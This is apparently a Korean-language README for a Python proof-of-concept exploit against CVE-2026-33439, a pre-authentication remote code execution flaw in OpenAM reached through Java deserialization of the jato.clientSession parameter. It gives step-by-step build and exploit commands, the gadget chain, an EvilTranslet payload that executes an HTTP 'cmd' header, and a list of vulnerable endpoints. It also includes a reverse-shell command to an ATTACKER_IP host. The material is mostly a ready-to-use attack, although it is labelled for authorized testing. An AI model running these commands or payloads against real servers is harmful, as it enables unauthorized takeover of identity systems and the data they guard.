
Python PoC로, jato.clientSession 파라미터의 Java 역직렬화를 통해 OpenAM에서 발생하는 사전 인증 RCE인 CVE-2026-33439를 익스플로잇하며, 대화형 및 블라인드 셸 모드를 지원합니다.
OpenIdentityPlatform OpenAM <= 16.0.5에서 jato.clientSession 파라미터의 안전하지 않은 Java 역직렬화를 통한 인증 전 원격 코드 실행 (CVSS 9.8).
승인된 보안 테스트 전용.
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py
# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
build.py용 — 대상 서버의 JVM 버전과 일치해야 함; JDK 25는 호환되지 않는 직렬화 객체를 생성함)EvilTranslet은 요청에서 cmd HTTP 헤더를 읽어 실행하고, stdout을 HTTP 응답에 직접 기록합니다. 리스너가 필요하지 않습니다.
# Build interactive payload (no --command flag)
python build.py
# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"
# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell
명령이 EvilTranslet 바이트코드에 내장됩니다. 출력이 반환되지 않으므로, 콜백을 수신하려면 리스너(nc 등)를 사용하십시오.
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Terminal 1: listener
nc -lvnp 4444
# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all
build.pyexploit.py모든 소스 코드는 저장소에 있습니다 — 불투명한 블롭은 없습니다. Java 소스는 build.py에 읽을 수 있는 문자열 상수로 포함되어 있습니다. 빌드 후 출력을 검증하십시오:
python verify.py # summary: classes, integrity, red-flag scan
python verify.py --strings # all printable strings in the payload
python verify.py --hexdump # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap
PriorityQueue.readObject()
-> heapify() -> Column$ColumnComparator.compare()
-> Column.getTable().isSortedAscending()
-> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
-> TemplatesImpl.getOutputProperties()
-> defineTransletClasses() -> newInstance()
-> EvilTranslet.<clinit>() // command executes here
Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — 웹앱 클래스로더를 통해 HTTP 요청/응답 가져오기request.getHeader("cmd") — 명령 읽기new ProcessBuilder("/bin/sh", "-c", cmd) — 실행response.reset() — 이전 JSP 출력 지우기text/plain으로 응답에 기록한 후 출력 스트림 닫기Runtime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — 실행 후 무시인증 전 접근 가능한 <jato:form> 태그를 렌더링하는 모든 JATO ViewBean 엔드포인트:
| 엔드포인트 | 비고 |
|---|---|
/openam/ui/PWResetUserValidation | 비밀번호 재설정 (가장 안정적) |
/openam/ui/PWResetQuestion | 비밀번호 재설정 보안 질문 |
/openam/ui/Login | 로그인 페이지 |
MIT
| 플래그 | 설명 |
|---|
| (플래그 없음) | 대화형 페이로드 빌드 (런타임에 cmd 헤더를 읽음) |
--command "CMD" | CMD를 바이트코드에 내장한 블라인드 페이로드 빌드 |
--jars DIR | 다운로드 대신 로컬 JAR 디렉터리 사용 (기본값: ./libs) |
--download-only | JAR만 다운로드하고 컴파일하지 않음 |
| 플래그 | 설명 |
|---|
--url URL | 대상 URL (필수) — 전체 엔드포인트 또는 --probe/--all과 함께 사용하는 기본 URL |
--shell | 대화형 의사 셸 (대화형 모드) |
--probe | 기본 URL에서 취약한 엔드포인트 자동 탐지 |
--all | 모든 JATO 엔드포인트에 페이로드 전달 (블라인드 모드) |
--method GET|POST | HTTP 전달 방식 (기본값: GET) |
--proxy URL | HTTP 프록시 (예: Burp용 http://127.0.0.1:8080) |
--timeout SECS | 요청 타임아웃 (기본값: 15) |
--verify-tls | TLS 인증서 검증 활성화 |
--debug | 요청/응답 세부 정보 표시 |
| 증상 | 원인 | 해결 |
|---|
| 명령 출력 대신 HTML 페이지 반환 | JSP가 응답을 덮어씀 | 대화형 페이로드와 함께 --shell 사용; 또는 블라인드 모드로 전환 |
| 역직렬화가 트리거되지 않음 | JDK 버전 불일치 | JDK 21로 재빌드: export JAVA_HOME=/path/to/jdk-21 |
| TLS 핸드셰이크 타임아웃 | 서버가 SNI 호스트명 요구 | /etc/hosts에 대상 추가 후 IP가 아닌 호스트명 사용 |
javac를 찾을 수 없음 | JDK 미설치 | apt install openjdk-21-jdk |